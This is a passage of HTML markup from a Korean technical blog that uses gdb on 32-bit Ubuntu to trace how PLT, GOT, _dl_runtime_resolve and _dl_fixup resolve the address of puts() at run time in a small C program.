&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;427&quot; data-origin-height=&quot;236&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rxKwX/btsGeev2Q4H/zTQUa4cpG6pRZBPhmyHueK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rxKwX/btsGeev2Q4H/zTQUa4cpG6pRZBPhmyHueK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rxKwX/btsGeev2Q4H/zTQUa4cpG6pRZBPhmyHueK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrxKwX%2FbtsGeev2Q4H%2FzTQUa4cpG6pRZBPhmyHueK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;427&quot; height=&quot;236&quot; data-origin-width=&quot;427&quot; data-origin-height=&quot;236&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위에서 첫 번째 puts 함수 호출에서 runtime resolve 과정을 통해 GOT 주소에 puts 함수의 실제 주소를 기록해뒀기 때문에 두 번째 puts함수 호출부터는 GOT 주소에 PLT+6의 주소가 아닌 puts 함수의 실제 주소가 있다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;우분투 32bit 환경에서 puts() 함수를 두 번 호출하는 프로그램을 만들어서 gdb로 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;95&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Fx3pE/btsGdSOuSKS/Nn6pP0ktK6P599tzDZGpmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Fx3pE/btsGdSOuSKS/Nn6pP0ktK6P599tzDZGpmk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Fx3pE/btsGdSOuSKS/Nn6pP0ktK6P599tzDZGpmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFx3pE%2FbtsGdSOuSKS%2FNn6pP0ktK6P599tzDZGpmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;875&quot; height=&quot;95&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;95&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1711771101477&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;위의 실습에서는 hackerschool의 lob라는 오래된 환경에서 진행했기 때문에
이번에는 다른 환경인 ubuntu 16.04.07 32bit에서 진행해본다.
https://releases.ubuntu.com/16.04/)

ubuntu 16.04.07 32bit를 선택한 이유는 ubuntu 17 버전부터는 32bit 버전을 지원하지 않기 때문이다.

ubuntu 17 버전 이상부터 32bit 버전을 사용하려면 ubuntu mate와 같이 아직 32bit 버전을 지원하는
다른 비슷한 환경을 사용해야 한다.

ubuntu에서 진행하는 내용도 위의 내용을 이해했다면 금방 이해할 것이다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;lob 환경에서 분석한 내용을 다시 봐보면 아래와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;STRTAB의 주소를 구해서 ebp-8에 넣고, JMPREL의 주소를 구한 후 곧바로 reloc_offset과 더해 puts에 해당하는 Elf32_Rel 구조체 형식의 값의 주소를 구해 ecx에 담은 다음 edi 레지스터에 ecx+4의 주소를 담아 연산을 거친 후 .dynsym에서 puts 함수에 해당하는 Elf32_Sym 구조체 형식의 값의 주소를 구한다.&lt;br /&gt;&lt;br /&gt;이어서&amp;nbsp;Elf32_Sym&amp;nbsp;구조체&amp;nbsp;형식의&amp;nbsp;값의&amp;nbsp;내용&amp;nbsp;중&amp;nbsp;STRTAB에서의&amp;nbsp;puts&amp;nbsp;문자열&amp;nbsp;offset(0x1a)이&amp;nbsp;들어있는&amp;nbsp;주소를&amp;nbsp;ebp-16과&amp;nbsp;ebp-4에&amp;nbsp;넣어두고&lt;br /&gt;&lt;br /&gt;Elf32_Sym&amp;nbsp;구조체&amp;nbsp;형식의&amp;nbsp;값의&amp;nbsp;내용에서&amp;nbsp;GOT&amp;nbsp;주소를&amp;nbsp;구해&amp;nbsp;ebp-12&amp;nbsp;주소에&amp;nbsp;넣어둔&amp;nbsp;다음&amp;nbsp;esi&amp;nbsp;레지스터에&amp;nbsp;link_map의주소를&amp;nbsp;넣어둔다.&lt;br /&gt;&lt;br /&gt;그&amp;nbsp;다음&amp;nbsp;ebp-4에&amp;nbsp;있는&amp;nbsp;값(0x8048178)을&amp;nbsp;edx&amp;nbsp;레지스터에&amp;nbsp;넣고,&amp;nbsp;edi&amp;nbsp;레지스터에&amp;nbsp;STRTAB에서의&amp;nbsp;puts&amp;nbsp;문자열&amp;nbsp;offset&amp;nbsp;값인&amp;nbsp;0x1a를&amp;nbsp;넣은&amp;nbsp;후&amp;nbsp;ebp-8&amp;nbsp;주소에&amp;nbsp;넣어둔&amp;nbsp;STRTAB&amp;nbsp;주소에&amp;nbsp;edi&amp;nbsp;레지스터의&amp;nbsp;값&amp;nbsp;0x1a를&amp;nbsp;더해&amp;nbsp;실제&amp;nbsp;STRTAB에서&amp;nbsp;puts&amp;nbsp;문자열의&amp;nbsp;주소(0x80481e2)를&amp;nbsp;구해&amp;nbsp;ebp-8과&amp;nbsp;eax&amp;nbsp;레지스터에&amp;nbsp;넣는다.&lt;br /&gt;&lt;br /&gt;최종적으로&amp;nbsp;eax&amp;nbsp;레지스터에&amp;nbsp;STRTAB에서의&amp;nbsp;실제&amp;nbsp;puts&amp;nbsp;문자열의&amp;nbsp;주소(0x80481e2,&amp;nbsp;edx에&amp;nbsp;.dynsym에서&amp;nbsp;puts&amp;nbsp;함수에&amp;nbsp;해당하는&amp;nbsp;Elf32_Sym&amp;nbsp;구조체&amp;nbsp;형식의&amp;nbsp;값의&amp;nbsp;주소(0x8048178)가&amp;nbsp;들어있는&amp;nbsp;스택의&amp;nbsp;주소(0xbffffc90),&amp;nbsp;esi에&amp;nbsp;link_map의&amp;nbsp;주소(0x40013ed0),&amp;nbsp;edi에&amp;nbsp;STRTAB에서의&amp;nbsp;puts&amp;nbsp;문자열&amp;nbsp;offset(0x1a),&amp;nbsp;ebp-16과&amp;nbsp;ebp-4에&amp;nbsp;.dynsym에서&amp;nbsp;puts&amp;nbsp;함수에&amp;nbsp;해당하는&amp;nbsp;Elf32_Sym&amp;nbsp;구조체&amp;nbsp;형식의&amp;nbsp;값의&amp;nbsp;주소(0x8048178),&amp;nbsp;ebp-8에&amp;nbsp;STRTAB에서&amp;nbsp;puts&amp;nbsp;문자열의&amp;nbsp;주소(0x80481e2)가&amp;nbsp;들어있는&amp;nbsp;상태에서&amp;nbsp;_dl_lookup_versioned_symbol()함수를&amp;nbsp;호출한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1711771382751&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
int main(void)
{
	puts(&quot;hello\n&quot;);
    puts(&quot;world\n&quot;);
    
    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;360&quot; data-origin-height=&quot;34&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OSXWk/btsGfw4nh9y/s3d9KNYx9CGIZtjTj3SpF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OSXWk/btsGfw4nh9y/s3d9KNYx9CGIZtjTj3SpF1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OSXWk/btsGfw4nh9y/s3d9KNYx9CGIZtjTj3SpF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOSXWk%2FbtsGfw4nh9y%2Fs3d9KNYx9CGIZtjTj3SpF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;360&quot; height=&quot;34&quot; data-origin-width=&quot;360&quot; data-origin-height=&quot;34&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;우분투에서 위의 코드를 컴파일하여 실행 가능한 바이너리 파일로 만든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;559&quot; data-origin-height=&quot;531&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ccajkC/btsGedY0HvY/Qlde6P8vcxYq6853R5lGnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ccajkC/btsGedY0HvY/Qlde6P8vcxYq6853R5lGnK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ccajkC/btsGedY0HvY/Qlde6P8vcxYq6853R5lGnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FccajkC%2FbtsGedY0HvY%2FQlde6P8vcxYq6853R5lGnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;559&quot; height=&quot;531&quot; data-origin-width=&quot;559&quot; data-origin-height=&quot;531&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;gdb로 바이너리 파일을 연 후 intel 문법으로 출력되게 설정하고 main 함수를 디스어셈블 해보면 위와 같이 나오는데 0x8048424 주소와 0x8048434 주소에서 puts() 함수를 호출하는 것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위 두 주소 모두 BP를 걸고 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;PLT &amp;amp; GOT 부분 및 Dynamic&amp;nbsp;Linking&amp;nbsp;시작(PLT+6(reloc_offset),&amp;nbsp;PLT+11)&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;559&quot; data-origin-height=&quot;32&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bg6veE/btsGdRIN4py/pF8o5wxqkZY8XV8HyZ67m1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bg6veE/btsGdRIN4py/pF8o5wxqkZY8XV8HyZ67m1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bg6veE/btsGdRIN4py/pF8o5wxqkZY8XV8HyZ67m1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbg6veE%2FbtsGdRIN4py%2FpF8o5wxqkZY8XV8HyZ67m1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;559&quot; height=&quot;32&quot; data-origin-width=&quot;559&quot; data-origin-height=&quot;32&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;559&quot; data-origin-height=&quot;62&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhDKhI/btsGdQXsBl5/kljnVTB7kvLunb6zXI09r1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhDKhI/btsGdQXsBl5/kljnVTB7kvLunb6zXI09r1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhDKhI/btsGdQXsBl5/kljnVTB7kvLunb6zXI09r1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhDKhI%2FbtsGdQXsBl5%2FkljnVTB7kvLunb6zXI09r1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;559&quot; height=&quot;62&quot; data-origin-width=&quot;559&quot; data-origin-height=&quot;62&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;559&quot; data-origin-height=&quot;31&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cokbZJ/btsGcrRFBaV/wNTZsFkXqmjJO7yhPSiae1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cokbZJ/btsGcrRFBaV/wNTZsFkXqmjJO7yhPSiae1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cokbZJ/btsGcrRFBaV/wNTZsFkXqmjJO7yhPSiae1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcokbZJ%2FbtsGcrRFBaV%2FwNTZsFkXqmjJO7yhPSiae1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;559&quot; height=&quot;31&quot; data-origin-width=&quot;559&quot; data-origin-height=&quot;31&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;puts() 함수를 호출하니 plt를 참조하고, plt에서는 got를 참조하는데, 현재 puts 함수의 GOT 주소에는 plt+6의 주소가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;plt+6 주소로 점프한 후 reloc_offset 값으로 0x0을 스택에 넣고, 0x80482d0 주소로 점프한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;link_map 주소를 스택에 넣고 _dl_runtime_resolve 함수로 점프 및 _dl_runtime_resolve&amp;nbsp;함수&amp;nbsp;디스어셈블&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;413&quot; data-origin-height=&quot;48&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XWTCs/btsGdPqKdCe/dZwKvzZdztq7Dt5mmL6fr0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XWTCs/btsGdPqKdCe/dZwKvzZdztq7Dt5mmL6fr0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XWTCs/btsGdPqKdCe/dZwKvzZdztq7Dt5mmL6fr0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXWTCs%2FbtsGdPqKdCe%2FdZwKvzZdztq7Dt5mmL6fr0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;413&quot; height=&quot;48&quot; data-origin-width=&quot;413&quot; data-origin-height=&quot;48&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;416&quot; data-origin-height=&quot;94&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bC50WJ/btsGew4ZxEt/12WrBh0u3asC9vDmZrkRrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bC50WJ/btsGew4ZxEt/12WrBh0u3asC9vDmZrkRrk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bC50WJ/btsGew4ZxEt/12WrBh0u3asC9vDmZrkRrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbC50WJ%2FbtsGew4ZxEt%2F12WrBh0u3asC9vDmZrkRrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;416&quot; height=&quot;94&quot; data-origin-width=&quot;416&quot; data-origin-height=&quot;94&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;475&quot; data-origin-height=&quot;220&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dgG7ED/btsGd8Kkkcp/hI0HgUwEFyLxCSYI4H1y5K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dgG7ED/btsGd8Kkkcp/hI0HgUwEFyLxCSYI4H1y5K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dgG7ED/btsGd8Kkkcp/hI0HgUwEFyLxCSYI4H1y5K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdgG7ED%2FbtsGd8Kkkcp%2FhI0HgUwEFyLxCSYI4H1y5K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;475&quot; height=&quot;220&quot; data-origin-width=&quot;475&quot; data-origin-height=&quot;220&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;0x80482d0 주소에서는 link_map의 주소 0xb7fff918을 스택에 넣고 0xb7ff0000 주소로 점프하는데, 해당 주소는 &amp;nbsp;_dl_runtime_resolve 함수의 주소이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;_dl_runtime_resolve 함수 내에서는 eax, ecx, edx 레지스터의값을 스택에 넣고, 위에서 스택에 넣어둔 reloc_offset 값과 link_map 주소를 각각 edx, eax 레지스터에 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;fixup함수&amp;nbsp;호출&amp;nbsp;직전&amp;nbsp;스택&amp;nbsp;확인&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;626&quot; data-origin-height=&quot;141&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXMQF1/btsGdP5jmsT/dOt0NXDVkBjJGnPQEPUjYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXMQF1/btsGdP5jmsT/dOt0NXDVkBjJGnPQEPUjYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXMQF1/btsGdP5jmsT/dOt0NXDVkBjJGnPQEPUjYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXMQF1%2FbtsGdP5jmsT%2FdOt0NXDVkBjJGnPQEPUjYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;626&quot; height=&quot;141&quot; data-origin-width=&quot;626&quot; data-origin-height=&quot;141&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;626&quot; data-origin-height=&quot;62&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tifXs/btsGcKct05X/I1Mn4fL9LFKN5MJUsWYK20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tifXs/btsGcKct05X/I1Mn4fL9LFKN5MJUsWYK20/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tifXs/btsGcKct05X/I1Mn4fL9LFKN5MJUsWYK20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtifXs%2FbtsGcKct05X%2FI1Mn4fL9LFKN5MJUsWYK20%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;626&quot; height=&quot;62&quot; data-origin-width=&quot;626&quot; data-origin-height=&quot;62&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;626&quot; data-origin-height=&quot;62&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzPH5B/btsGdDw8Lzu/EKSVjxGc9O8vyYMpiIm8Gk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzPH5B/btsGdDw8Lzu/EKSVjxGc9O8vyYMpiIm8Gk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzPH5B/btsGdDw8Lzu/EKSVjxGc9O8vyYMpiIm8Gk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzPH5B%2FbtsGdDw8Lzu%2FEKSVjxGc9O8vyYMpiIm8Gk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;626&quot; height=&quot;62&quot; data-origin-width=&quot;626&quot; data-origin-height=&quot;62&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: center;&quot;&gt;낮은 주소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: center;&quot;&gt;edx&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: center;&quot;&gt;ecx&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: center;&quot;&gt;eax&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: center;&quot;&gt;link_map&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: center;&quot;&gt;reloc_offset&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: center;&quot;&gt;높은 주소&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;실제로 해당 값들이 저장되어 있는지 확인해보기 위해 _dl_fixup 함수를 호출하기 직전인 0xb7ff000b 주소에 BP를 걸고 진행한 다음 edx 레지스터와 eax 레지스터의 값을 보면 reloc_offset 값과 link_map의 주소가 들어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 스택을 보면 빨간색 박스에 reloc_offset, 주황색 박스에 link_map의 주소, 노란색 박스에 오른쪽부터 eax, ecx, edx 값이 들어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;_dl_fixup 함수 내부로 진입 및 _dl_fixup 함수 디스어셈블&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;584&quot; data-origin-height=&quot;141&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cuJFDZ/btsGfe3Rn0H/1O4NFZ0pQMtJ2DjxhSZin0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cuJFDZ/btsGfe3Rn0H/1O4NFZ0pQMtJ2DjxhSZin0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cuJFDZ/btsGfe3Rn0H/1O4NFZ0pQMtJ2DjxhSZin0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcuJFDZ%2FbtsGfe3Rn0H%2F1O4NFZ0pQMtJ2DjxhSZin0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;584&quot; height=&quot;141&quot; data-origin-width=&quot;584&quot; data-origin-height=&quot;141&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
